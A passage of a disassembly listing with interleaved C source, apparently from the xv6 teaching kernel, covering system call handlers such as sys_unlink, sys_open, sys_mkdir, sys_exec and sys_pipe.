ff call 80104620 <argstr> 80104bec: 85 c0 test %eax,%eax 80104bee: 0f 88 76 01 00 00 js 80104d6a <sys_unlink+0x19a> begin_op(); 80104bf4: e8 17 df ff ff call 80102b10 <begin_op> if((dp = nameiparent(path, name)) == 0){ 80104bf9: 8b 45 c0 mov -0x40(%ebp),%eax 80104bfc: 8d 5d ca lea -0x36(%ebp),%ebx 80104bff: 89 5c 24 04 mov %ebx,0x4(%esp) 80104c03: 89 04 24 mov %eax,(%esp) 80104c06: e8 15 d3 ff ff call 80101f20 <nameiparent> 80104c0b: 85 c0 test %eax,%eax 80104c0d: 89 45 b4 mov %eax,-0x4c(%ebp) 80104c10: 0f 84 4f 01 00 00 je 80104d65 <sys_unlink+0x195> ilock(dp); 80104c16: 8b 75 b4 mov -0x4c(%ebp),%esi 80104c19: 89 34 24 mov %esi,(%esp) 80104c1c: e8 8f ca ff ff call 801016b0 <ilock> if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0) 80104c21: c7 44 24 04 34 73 10 movl $0x80107334,0x4(%esp) 80104c28: 80 80104c29: 89 1c 24 mov %ebx,(%esp) 80104c2c: e8 5f cf ff ff call 80101b90 <namecmp> 80104c31: 85 c0 test %eax,%eax 80104c33: 0f 84 21 01 00 00 je 80104d5a <sys_unlink+0x18a> 80104c39: c7 44 24 04 33 73 10 movl $0x80107333,0x4(%esp) 80104c40: 80 80104c41: 89 1c 24 mov %ebx,(%esp) 80104c44: e8 47 cf ff ff call 80101b90 <namecmp> 80104c49: 85 c0 test %eax,%eax 80104c4b: 0f 84 09 01 00 00 je 80104d5a <sys_unlink+0x18a> if((ip = dirlookup(dp, name, &off)) == 0) 80104c51: 8d 45 c4 lea -0x3c(%ebp),%eax 80104c54: 89 5c 24 04 mov %ebx,0x4(%esp) 80104c58: 89 44 24 08 mov %eax,0x8(%esp) 80104c5c: 89 34 24 mov %esi,(%esp) 80104c5f: e8 5c cf ff ff call 80101bc0 <dirlookup> 80104c64: 85 c0 test %eax,%eax 80104c66: 89 c3 mov %eax,%ebx 80104c68: 0f 84 ec 00 00 00 je 80104d5a <sys_unlink+0x18a> ilock(ip); 80104c6e: 89 04 24 mov %eax,(%esp) 80104c71: e8 3a ca ff ff call 801016b0 <ilock> if(ip->nlink < 1) 80104c76: 66 83 7b 56 00 cmpw $0x0,0x56(%ebx) 80104c7b: 0f 8e 24 01 00 00 jle 80104da5 <sys_unlink+0x1d5> if(ip->type == T_DIR && !isdirempty(ip)){ 80104c81: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80104c86: 8d 75 d8 lea -0x28(%ebp),%esi 80104c89: 74 7d je 80104d08 <sys_unlink+0x138> memset(&de, 0, sizeof(de)); 80104c8b: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 80104c92: 00 80104c93: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80104c9a: 00 80104c9b: 89 34 24 mov %esi,(%esp) 80104c9e: e8 fd f5 ff ff call 801042a0 <memset> if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80104ca3: 8b 45 c4 mov -0x3c(%ebp),%eax 80104ca6: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80104cad: 00 80104cae: 89 74 24 04 mov %esi,0x4(%esp) 80104cb2: 89 44 24 08 mov %eax,0x8(%esp) 80104cb6: 8b 45 b4 mov -0x4c(%ebp),%eax 80104cb9: 89 04 24 mov %eax,(%esp) 80104cbc: e8 9f cd ff ff call 80101a60 <writei> 80104cc1: 83 f8 10 cmp $0x10,%eax 80104cc4: 0f 85 cf 00 00 00 jne 80104d99 <sys_unlink+0x1c9> if(ip->type == T_DIR){ 80104cca: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80104ccf: 0f 84 a3 00 00 00 je 80104d78 <sys_unlink+0x1a8> iunlockput(dp); 80104cd5: 8b 45 b4 mov -0x4c(%ebp),%eax 80104cd8: 89 04 24 mov %eax,(%esp) 80104cdb: e8 30 cc ff ff call 80101910 <iunlockput> ip->nlink--; 80104ce0: 66 83 6b 56 01 subw $0x1,0x56(%ebx) iupdate(ip); 80104ce5: 89 1c 24 mov %ebx,(%esp) 80104ce8: e8 03 c9 ff ff call 801015f0 <iupdate> iunlockput(ip); 80104ced: 89 1c 24 mov %ebx,(%esp) 80104cf0: e8 1b cc ff ff call 80101910 <iunlockput> end_op(); 80104cf5: e8 86 de ff ff call 80102b80 <end_op> } 80104cfa: 83 c4 5c add $0x5c,%esp return 0; 80104cfd: 31 c0 xor %eax,%eax } 80104cff: 5b pop %ebx 80104d00: 5e pop %esi 80104d01: 5f pop %edi 80104d02: 5d pop %ebp 80104d03: c3 ret 80104d04: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){ 80104d08: 83 7b 58 20 cmpl $0x20,0x58(%ebx) 80104d0c: 0f 86 79 ff ff ff jbe 80104c8b <sys_unlink+0xbb> 80104d12: bf 20 00 00 00 mov $0x20,%edi 80104d17: eb 15 jmp 80104d2e <sys_unlink+0x15e> 80104d19: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104d20: 8d 57 10 lea 0x10(%edi),%edx 80104d23: 3b 53 58 cmp 0x58(%ebx),%edx 80104d26: 0f 83 5f ff ff ff jae 80104c8b <sys_unlink+0xbb> 80104d2c: 89 d7 mov %edx,%edi if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80104d2e: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80104d35: 00 80104d36: 89 7c 24 08 mov %edi,0x8(%esp) 80104d3a: 89 74 24 04 mov %esi,0x4(%esp) 80104d3e: 89 1c 24 mov %ebx,(%esp) 80104d41: e8 1a cc ff ff call 80101960 <readi> 80104d46: 83 f8 10 cmp $0x10,%eax 80104d49: 75 42 jne 80104d8d <sys_unlink+0x1bd> if(de.inum != 0) 80104d4b: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80104d50: 74 ce je 80104d20 <sys_unlink+0x150> iunlockput(ip); 80104d52: 89 1c 24 mov %ebx,(%esp) 80104d55: e8 b6 cb ff ff call 80101910 <iunlockput> iunlockput(dp); 80104d5a: 8b 45 b4 mov -0x4c(%ebp),%eax 80104d5d: 89 04 24 mov %eax,(%esp) 80104d60: e8 ab cb ff ff call 80101910 <iunlockput> end_op(); 80104d65: e8 16 de ff ff call 80102b80 <end_op> } 80104d6a: 83 c4 5c add $0x5c,%esp return -1; 80104d6d: b8 ff ff ff ff mov $0xffffffff,%eax } 80104d72: 5b pop %ebx 80104d73: 5e pop %esi 80104d74: 5f pop %edi 80104d75: 5d pop %ebp 80104d76: c3 ret 80104d77: 90 nop dp->nlink--; 80104d78: 8b 45 b4 mov -0x4c(%ebp),%eax 80104d7b: 66 83 68 56 01 subw $0x1,0x56(%eax) iupdate(dp); 80104d80: 89 04 24 mov %eax,(%esp) 80104d83: e8 68 c8 ff ff call 801015f0 <iupdate> 80104d88: e9 48 ff ff ff jmp 80104cd5 <sys_unlink+0x105> panic("isdirempty: readi"); 80104d8d: c7 04 24 58 73 10 80 movl $0x80107358,(%esp) 80104d94: e8 c7 b5 ff ff call 80100360 <panic> panic("unlink: writei"); 80104d99: c7 04 24 6a 73 10 80 movl $0x8010736a,(%esp) 80104da0: e8 bb b5 ff ff call 80100360 <panic> panic("unlink: nlink < 1"); 80104da5: c7 04 24 46 73 10 80 movl $0x80107346,(%esp) 80104dac: e8 af b5 ff ff call 80100360 <panic> 80104db1: eb 0d jmp 80104dc0 <sys_open> 80104db3: 90 nop 80104db4: 90 nop 80104db5: 90 nop 80104db6: 90 nop 80104db7: 90 nop 80104db8: 90 nop 80104db9: 90 nop 80104dba: 90 nop 80104dbb: 90 nop 80104dbc: 90 nop 80104dbd: 90 nop 80104dbe: 90 nop 80104dbf: 90 nop 80104dc0 <sys_open>: int sys_open(void) { 80104dc0: 55 push %ebp 80104dc1: 89 e5 mov %esp,%ebp 80104dc3: 57 push %edi 80104dc4: 56 push %esi 80104dc5: 53 push %ebx 80104dc6: 83 ec 2c sub $0x2c,%esp char *path; int fd, omode; struct file *f; struct inode *ip; if(argstr(0, &path) < 0 || argint(1, &omode) < 0) 80104dc9: 8d 45 e0 lea -0x20(%ebp),%eax 80104dcc: 89 44 24 04 mov %eax,0x4(%esp) 80104dd0: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104dd7: e8 44 f8 ff ff call 80104620 <argstr> 80104ddc: 85 c0 test %eax,%eax 80104dde: 0f 88 d1 00 00 00 js 80104eb5 <sys_open+0xf5> 80104de4: 8d 45 e4 lea -0x1c(%ebp),%eax 80104de7: 89 44 24 04 mov %eax,0x4(%esp) 80104deb: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80104df2: e8 99 f7 ff ff call 80104590 <argint> 80104df7: 85 c0 test %eax,%eax 80104df9: 0f 88 b6 00 00 00 js 80104eb5 <sys_open+0xf5> return -1; begin_op(); 80104dff: e8 0c dd ff ff call 80102b10 <begin_op> if(omode & O_CREATE){ 80104e04: f6 45 e5 02 testb $0x2,-0x1b(%ebp) 80104e08: 0f 85 82 00 00 00 jne 80104e90 <sys_open+0xd0> if(ip == 0){ end_op(); return -1; } } else { if((ip = namei(path)) == 0){ 80104e0e: 8b 45 e0 mov -0x20(%ebp),%eax 80104e11: 89 04 24 mov %eax,(%esp) 80104e14: e8 e7 d0 ff ff call 80101f00 <namei> 80104e19: 85 c0 test %eax,%eax 80104e1b: 89 c6 mov %eax,%esi 80104e1d: 0f 84 8d 00 00 00 je 80104eb0 <sys_open+0xf0> end_op(); return -1; } ilock(ip); 80104e23: 89 04 24 mov %eax,(%esp) 80104e26: e8 85 c8 ff ff call 801016b0 <ilock> if(ip->type == T_DIR && omode != O_RDONLY){ 80104e2b: 66 83 7e 50 01 cmpw $0x1,0x50(%esi) 80104e30: 0f 84 92 00 00 00 je 80104ec8 <sys_open+0x108> end_op(); return -1; } } if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){ 80104e36: e8 35 bf ff ff call 80100d70 <filealloc> 80104e3b: 85 c0 test %eax,%eax 80104e3d: 89 c3 mov %eax,%ebx 80104e3f: 0f 84 93 00 00 00 je 80104ed8 <sys_open+0x118> 80104e45: e8 86 f8 ff ff call 801046d0 <fdalloc> 80104e4a: 85 c0 test %eax,%eax 80104e4c: 89 c7 mov %eax,%edi 80104e4e: 0f 88 94 00 00 00 js 80104ee8 <sys_open+0x128> fileclose(f); iunlockput(ip); end_op(); return -1; } iunlock(ip); 80104e54: 89 34 24 mov %esi,(%esp) 80104e57: e8 34 c9 ff ff call 80101790 <iunlock> end_op(); 80104e5c: e8 1f dd ff ff call 80102b80 <end_op> f->type = FD_INODE; 80104e61: c7 03 02 00 00 00 movl $0x2,(%ebx) f->ip = ip; f->off = 0; f->readable = !(omode & O_WRONLY); 80104e67: 8b 45 e4 mov -0x1c(%ebp),%eax f->ip = ip; 80104e6a: 89 73 10 mov %esi,0x10(%ebx) f->off = 0; 80104e6d: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx) f->readable = !(omode & O_WRONLY); 80104e74: 89 c2 mov %eax,%edx 80104e76: 83 e2 01 and $0x1,%edx 80104e79: 83 f2 01 xor $0x1,%edx f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 80104e7c: a8 03 test $0x3,%al f->readable = !(omode & O_WRONLY); 80104e7e: 88 53 08 mov %dl,0x8(%ebx) return fd; 80104e81: 89 f8 mov %edi,%eax f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 80104e83: 0f 95 43 09 setne 0x9(%ebx) } 80104e87: 83 c4 2c add $0x2c,%esp 80104e8a: 5b pop %ebx 80104e8b: 5e pop %esi 80104e8c: 5f pop %edi 80104e8d: 5d pop %ebp 80104e8e: c3 ret 80104e8f: 90 nop ip = create(path, T_FILE, 0, 0); 80104e90: 8b 45 e0 mov -0x20(%ebp),%eax 80104e93: 31 c9 xor %ecx,%ecx 80104e95: ba 02 00 00 00 mov $0x2,%edx 80104e9a: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104ea1: e8 6a f8 ff ff call 80104710 <create> if(ip == 0){ 80104ea6: 85 c0 test %eax,%eax ip = create(path, T_FILE, 0, 0); 80104ea8: 89 c6 mov %eax,%esi if(ip == 0){ 80104eaa: 75 8a jne 80104e36 <sys_open+0x76> 80104eac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi end_op(); 80104eb0: e8 cb dc ff ff call 80102b80 <end_op> } 80104eb5: 83 c4 2c add $0x2c,%esp return -1; 80104eb8: b8 ff ff ff ff mov $0xffffffff,%eax } 80104ebd: 5b pop %ebx 80104ebe: 5e pop %esi 80104ebf: 5f pop %edi 80104ec0: 5d pop %ebp 80104ec1: c3 ret 80104ec2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(ip->type == T_DIR && omode != O_RDONLY){ 80104ec8: 8b 45 e4 mov -0x1c(%ebp),%eax 80104ecb: 85 c0 test %eax,%eax 80104ecd: 0f 84 63 ff ff ff je 80104e36 <sys_open+0x76> 80104ed3: 90 nop 80104ed4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi iunlockput(ip); 80104ed8: 89 34 24 mov %esi,(%esp) 80104edb: e8 30 ca ff ff call 80101910 <iunlockput> 80104ee0: eb ce jmp 80104eb0 <sys_open+0xf0> 80104ee2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi fileclose(f); 80104ee8: 89 1c 24 mov %ebx,(%esp) 80104eeb: e8 40 bf ff ff call 80100e30 <fileclose> 80104ef0: eb e6 jmp 80104ed8 <sys_open+0x118> 80104ef2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104ef9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104f00 <sys_mkdir>: int sys_mkdir(void) { 80104f00: 55 push %ebp 80104f01: 89 e5 mov %esp,%ebp 80104f03: 83 ec 28 sub $0x28,%esp char *path; struct inode *ip; begin_op(); 80104f06: e8 05 dc ff ff call 80102b10 <begin_op> if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){ 80104f0b: 8d 45 f4 lea -0xc(%ebp),%eax 80104f0e: 89 44 24 04 mov %eax,0x4(%esp) 80104f12: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104f19: e8 02 f7 ff ff call 80104620 <argstr> 80104f1e: 85 c0 test %eax,%eax 80104f20: 78 2e js 80104f50 <sys_mkdir+0x50> 80104f22: 8b 45 f4 mov -0xc(%ebp),%eax 80104f25: 31 c9 xor %ecx,%ecx 80104f27: ba 01 00 00 00 mov $0x1,%edx 80104f2c: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104f33: e8 d8 f7 ff ff call 80104710 <create> 80104f38: 85 c0 test %eax,%eax 80104f3a: 74 14 je 80104f50 <sys_mkdir+0x50> end_op(); return -1; } iunlockput(ip); 80104f3c: 89 04 24 mov %eax,(%esp) 80104f3f: e8 cc c9 ff ff call 80101910 <iunlockput> end_op(); 80104f44: e8 37 dc ff ff call 80102b80 <end_op> return 0; 80104f49: 31 c0 xor %eax,%eax } 80104f4b: c9 leave 80104f4c: c3 ret 80104f4d: 8d 76 00 lea 0x0(%esi),%esi end_op(); 80104f50: e8 2b dc ff ff call 80102b80 <end_op> return -1; 80104f55: b8 ff ff ff ff mov $0xffffffff,%eax } 80104f5a: c9 leave 80104f5b: c3 ret 80104f5c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104f60 <sys_mknod>: int sys_mknod(void) { 80104f60: 55 push %ebp 80104f61: 89 e5 mov %esp,%ebp 80104f63: 83 ec 28 sub $0x28,%esp struct inode *ip; char *path; int major, minor; begin_op(); 80104f66: e8 a5 db ff ff call 80102b10 <begin_op> if((argstr(0, &path)) < 0 || 80104f6b: 8d 45 ec lea -0x14(%ebp),%eax 80104f6e: 89 44 24 04 mov %eax,0x4(%esp) 80104f72: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80104f79: e8 a2 f6 ff ff call 80104620 <argstr> 80104f7e: 85 c0 test %eax,%eax 80104f80: 78 5e js 80104fe0 <sys_mknod+0x80> argint(1, &major) < 0 || 80104f82: 8d 45 f0 lea -0x10(%ebp),%eax 80104f85: 89 44 24 04 mov %eax,0x4(%esp) 80104f89: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80104f90: e8 fb f5 ff ff call 80104590 <argint> if((argstr(0, &path)) < 0 || 80104f95: 85 c0 test %eax,%eax 80104f97: 78 47 js 80104fe0 <sys_mknod+0x80> argint(2, &minor) < 0 || 80104f99: 8d 45 f4 lea -0xc(%ebp),%eax 80104f9c: 89 44 24 04 mov %eax,0x4(%esp) 80104fa0: c7 04 24 02 00 00 00 movl $0x2,(%esp) 80104fa7: e8 e4 f5 ff ff call 80104590 <argint> argint(1, &major) < 0 || 80104fac: 85 c0 test %eax,%eax 80104fae: 78 30 js 80104fe0 <sys_mknod+0x80> (ip = create(path, T_DEV, major, minor)) == 0){ 80104fb0: 0f bf 45 f4 movswl -0xc(%ebp),%eax argint(2, &minor) < 0 || 80104fb4: ba 03 00 00 00 mov $0x3,%edx (ip = create(path, T_DEV, major, minor)) == 0){ 80104fb9: 0f bf 4d f0 movswl -0x10(%ebp),%ecx 80104fbd: 89 04 24 mov %eax,(%esp) argint(2, &minor) < 0 || 80104fc0: 8b 45 ec mov -0x14(%ebp),%eax 80104fc3: e8 48 f7 ff ff call 80104710 <create> 80104fc8: 85 c0 test %eax,%eax 80104fca: 74 14 je 80104fe0 <sys_mknod+0x80> end_op(); return -1; } iunlockput(ip); 80104fcc: 89 04 24 mov %eax,(%esp) 80104fcf: e8 3c c9 ff ff call 80101910 <iunlockput> end_op(); 80104fd4: e8 a7 db ff ff call 80102b80 <end_op> return 0; 80104fd9: 31 c0 xor %eax,%eax } 80104fdb: c9 leave 80104fdc: c3 ret 80104fdd: 8d 76 00 lea 0x0(%esi),%esi end_op(); 80104fe0: e8 9b db ff ff call 80102b80 <end_op> return -1; 80104fe5: b8 ff ff ff ff mov $0xffffffff,%eax } 80104fea: c9 leave 80104feb: c3 ret 80104fec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104ff0 <sys_chdir>: int sys_chdir(void) { 80104ff0: 55 push %ebp 80104ff1: 89 e5 mov %esp,%ebp 80104ff3: 56 push %esi 80104ff4: 53 push %ebx 80104ff5: 83 ec 20 sub $0x20,%esp char *path; struct inode *ip; struct proc *curproc = myproc(); 80104ff8: e8 a3 e6 ff ff call 801036a0 <myproc> 80104ffd: 89 c6 mov %eax,%esi begin_op(); 80104fff: e8 0c db ff ff call 80102b10 <begin_op> if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){ 80105004: 8d 45 f4 lea -0xc(%ebp),%eax 80105007: 89 44 24 04 mov %eax,0x4(%esp) 8010500b: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80105012: e8 09 f6 ff ff call 80104620 <argstr> 80105017: 85 c0 test %eax,%eax 80105019: 78 4a js 80105065 <sys_chdir+0x75> 8010501b: 8b 45 f4 mov -0xc(%ebp),%eax 8010501e: 89 04 24 mov %eax,(%esp) 80105021: e8 da ce ff ff call 80101f00 <namei> 80105026: 85 c0 test %eax,%eax 80105028: 89 c3 mov %eax,%ebx 8010502a: 74 39 je 80105065 <sys_chdir+0x75> end_op(); return -1; } ilock(ip); 8010502c: 89 04 24 mov %eax,(%esp) 8010502f: e8 7c c6 ff ff call 801016b0 <ilock> if(ip->type != T_DIR){ 80105034: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) iunlockput(ip); 80105039: 89 1c 24 mov %ebx,(%esp) if(ip->type != T_DIR){ 8010503c: 75 22 jne 80105060 <sys_chdir+0x70> end_op(); return -1; } iunlock(ip); 8010503e: e8 4d c7 ff ff call 80101790 <iunlock> iput(curproc->cwd); 80105043: 8b 46 68 mov 0x68(%esi),%eax 80105046: 89 04 24 mov %eax,(%esp) 80105049: e8 82 c7 ff ff call 801017d0 <iput> end_op(); 8010504e: e8 2d db ff ff call 80102b80 <end_op> curproc->cwd = ip; return 0; 80105053: 31 c0 xor %eax,%eax curproc->cwd = ip; 80105055: 89 5e 68 mov %ebx,0x68(%esi) } 80105058: 83 c4 20 add $0x20,%esp 8010505b: 5b pop %ebx 8010505c: 5e pop %esi 8010505d: 5d pop %ebp 8010505e: c3 ret 8010505f: 90 nop iunlockput(ip); 80105060: e8 ab c8 ff ff call 80101910 <iunlockput> end_op(); 80105065: e8 16 db ff ff call 80102b80 <end_op> } 8010506a: 83 c4 20 add $0x20,%esp return -1; 8010506d: b8 ff ff ff ff mov $0xffffffff,%eax } 80105072: 5b pop %ebx 80105073: 5e pop %esi 80105074: 5d pop %ebp 80105075: c3 ret 80105076: 8d 76 00 lea 0x0(%esi),%esi 80105079: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105080 <sys_exec>: int sys_exec(void) { 80105080: 55 push %ebp 80105081: 89 e5 mov %esp,%ebp 80105083: 57 push %edi 80105084: 56 push %esi 80105085: 53 push %ebx 80105086: 81 ec ac 00 00 00 sub $0xac,%esp char *path, *argv[MAXARG]; int i; uint uargv, uarg; if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){ 8010508c: 8d 85 5c ff ff ff lea -0xa4(%ebp),%eax 80105092: 89 44 24 04 mov %eax,0x4(%esp) 80105096: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8010509d: e8 7e f5 ff ff call 80104620 <argstr> 801050a2: 85 c0 test %eax,%eax 801050a4: 0f 88 84 00 00 00 js 8010512e <sys_exec+0xae> 801050aa: 8d 85 60 ff ff ff lea -0xa0(%ebp),%eax 801050b0: 89 44 24 04 mov %eax,0x4(%esp) 801050b4: c7 04 24 01 00 00 00 movl $0x1,(%esp) 801050bb: e8 d0 f4 ff ff call 80104590 <argint> 801050c0: 85 c0 test %eax,%eax 801050c2: 78 6a js 8010512e <sys_exec+0xae> return -1; } memset(argv, 0, sizeof(argv)); 801050c4: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax for(i=0;; i++){ 801050ca: 31 db xor %ebx,%ebx memset(argv, 0, sizeof(argv)); 801050cc: c7 44 24 08 80 00 00 movl $0x80,0x8(%esp) 801050d3: 00 801050d4: 8d b5 68 ff ff ff lea -0x98(%ebp),%esi 801050da: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 801050e1: 00 801050e2: 8d bd 64 ff ff ff lea -0x9c(%ebp),%edi 801050e8: 89 04 24 mov %eax,(%esp) 801050eb: e8 b0 f1 ff ff call 801042a0 <memset> if(i >= NELEM(argv)) return -1; if(fetchint(uargv+4*i, (int*)&uarg) < 0) 801050f0: 8b 85 60 ff ff ff mov -0xa0(%ebp),%eax 801050f6: 89 7c 24 04 mov %edi,0x4(%esp) 801050fa: 8d 04 98 lea (%eax,%ebx,4),%eax 801050fd: 89 04 24 mov %eax,(%esp) 80105100: e8 eb f3 ff ff call 801044f0 <fetchint> 80105105: 85 c0 test %eax,%eax 80105107: 78 25 js 8010512e <sys_exec+0xae> return -1; if(uarg == 0){ 80105109: 8b 85 64 ff ff ff mov -0x9c(%ebp),%eax 8010510f: 85 c0 test %eax,%eax 80105111: 74 2d je 80105140 <sys_exec+0xc0> argv[i] = 0; break; } if(fetchstr(uarg, &argv[i]) < 0) 80105113: 89 74 24 04 mov %esi,0x4(%esp) 80105117: 89 04 24 mov %eax,(%esp) 8010511a: e8 11 f4 ff ff call 80104530 <fetchstr> 8010511f: 85 c0 test %eax,%eax 80105121: 78 0b js 8010512e <sys_exec+0xae> for(i=0;; i++){ 80105123: 83 c3 01 add $0x1,%ebx 80105126: 83 c6 04 add $0x4,%esi if(i >= NELEM(argv)) 80105129: 83 fb 20 cmp $0x20,%ebx 8010512c: 75 c2 jne 801050f0 <sys_exec+0x70> return -1; } return exec(path, argv); } 8010512e: 81 c4 ac 00 00 00 add $0xac,%esp return -1; 80105134: b8 ff ff ff ff mov $0xffffffff,%eax } 80105139: 5b pop %ebx 8010513a: 5e pop %esi 8010513b: 5f pop %edi 8010513c: 5d pop %ebp 8010513d: c3 ret 8010513e: 66 90 xchg %ax,%ax return exec(path, argv); 80105140: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax 80105146: 89 44 24 04 mov %eax,0x4(%esp) 8010514a: 8b 85 5c ff ff ff mov -0xa4(%ebp),%eax argv[i] = 0; 80105150: c7 84 9d 68 ff ff ff movl $0x0,-0x98(%ebp,%ebx,4) 80105157: 00 00 00 00 return exec(path, argv); 8010515b: 89 04 24 mov %eax,(%esp) 8010515e: e8 3d b8 ff ff call 801009a0 <exec> } 80105163: 81 c4 ac 00 00 00 add $0xac,%esp 80105169: 5b pop %ebx 8010516a: 5e pop %esi 8010516b: 5f pop %edi 8010516c: 5d pop %ebp 8010516d: c3 ret 8010516e: 66 90 xchg %ax,%ax 80105170 <sys_pipe>: int sys_pipe(void) { 80105170: 55 push %ebp 80105171: 89 e5 mov %esp,%ebp 80105173: 53 push %ebx 80105174: 83 ec 24 sub $0x24,%esp int *fd; struct file *rf, *wf; int fd0, fd1; if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0) 80105177: 8d 45 ec lea -0x14(%ebp),%eax 8010517a: c7 44 24 08 08 00 00 movl $0x8,0x8(%esp) 80105181: 00 80105182: 89 44 24 04 mov %eax,0x4(%esp) 80105186: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8010518d: e8 2e f4 ff ff call 801045c0 <argptr> 80105192: 85 c0 test %eax,%eax 80105194: 78 6d js 80105203 <sys_pipe+0x93> return -1; if(pipealloc(&rf, &wf) < 0) 80105196: 8d 45 f4 lea -0xc(%ebp),%eax 80105199: 89 44 24 04 mov %eax,0x4(%esp) 8010519d: 8d 45 f0 lea -0x10(%ebp),%eax 801051a0: 89 04 24 mov %eax,(%esp) 801051a3: e8 c8 df ff ff call 80103170 <pipealloc> 801051a8: 85 c0 test %eax,%eax 801051aa: 78 57 js 80105203 <sys_pipe+0x93> return -1; fd0 = -1; if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){ 801051ac: 8b 45 f0 mov -0x10(%ebp),%eax 801051af: e8 1c f5 ff ff call 801046d0 <fdalloc> 801051b4: 85 c0 test %eax,%eax 801051b6: 89 c3 mov %eax,%ebx 801051b8: 78 33 js 801051ed <sys_pipe+0x7d> 801051ba: 8b 45 f4 mov -0xc(%ebp),%eax 801051bd: e8 0e f5 ff ff call 801046d0 <fdalloc> 801051c2: 85 c0 test %eax,%eax 801051c4: 78 1a js 801051e0 <sys_pipe+0x70> myproc()->ofile[fd0] = 0; fileclose(rf); fileclose(wf); return -1; } fd[0] = fd0; 801051c6: 8b 55 ec mov -0x14(%ebp),%edx 801051c9: 89 1a mov %ebx,(%edx) fd[1] = fd1; 801051cb: 8b 55 ec mov -0x14(%ebp),%edx 801051ce: 89 42 04 mov %eax,0x4(%edx) return 0; } 801051d1: 83 c4 24 add $0x24,%esp return 0; 801051d4: 31 c0 xor %eax,%eax } 801051d6: 5b pop %ebx 801051d7: 5d pop %ebp 801051d8: c3 ret 801051d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi myproc()->ofile[fd0] = 0; 801051e0: e8 bb e4 ff ff call 801036a0 <myproc> 801051e5: c7 44 98 28 00 00 00 movl $0x0,0x28(%eax,%ebx,4) 801051ec: 00 fileclose(rf); 801051ed: 8b 45 f0 mov -0x10(%ebp),%eax 801051f0: 89 04 24 mov %eax,(%esp) 801051f3: e8 38 bc ff ff call 80100e30 <fileclose> fileclose(wf); 801051f8: 8b 45 f4 mov -0xc(%ebp),%eax 801051fb: 89 04 24 mov %eax,(%esp) 801051fe: e8 2d bc ff ff call 80100e30 <fileclose> } 80105203: 83 c4 24 add $0x24,%esp return -1; 80105206: b8 ff ff ff ff mov $0xffffffff,%eax } 8010520b: 5b pop %ebx 8010520c: 5d pop %ebp 8010520d: c3 ret 8010520e: 66 90 xchg %ax,%ax 80105210 <sys_fork>: #include "mmu.h" #include "proc.h" int sys_fork(void) { 80105210: 55 push %ebp 80105211: 89 e5 mov %esp,%ebp return fork(); } 80105213: 5d pop %ebp return fork(); 80105214: e9 37 e6 ff ff jmp 80103850 <fork> 80105219: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105220 <sys_exit>: int sys_exit(void) { 80105220: 55 push %ebp 80105221: 89 e5 mov %esp,%ebp 80105223: 83 ec 08 sub $0x8,%esp exit(); 80105226: e8 75 e8 ff ff call 80103aa0 <exit> return 0; // not reached } 8010522b: 31 c0 xor %eax,%eax 8010522d: c9 leave 8010522e: c3 ret 8010522f: 90 nop 80105230 <sys_wait>: int sys_wait(void) { 80105230: 55 push %ebp 80105231: 89 e5 mov %esp,%ebp return wait(); } 80105233: 5d pop %ebp return wait(); 80105234: e9 77 ea ff ff jmp 80103cb0 <wait> 80105239: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80105240 <sys_kill>: int sys_kill(void) { 80105240: 55 push %ebp 80105241: 89 e5 mov %esp,%ebp 80105243: 83 ec 28 sub $0x28,%esp int pid; if(argint(0, &pid) < 0) 80105246: 8d 45 f4 lea -0xc(%ebp),%eax 80105249: 89 44 24 04 mov %eax,0x4(%esp) 8010524d: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80105254: e8 37 f3 ff ff call 80104590 <argint> 80105259: 85 c0 test %eax,%eax 8010525b: 78 13 js 80105270 <sys_kill+0x30> return -1; return kill(pid); 8010525d: 8b 45 f4 mov -0xc(%ebp),%eax 80105260: 89 04 24 mov 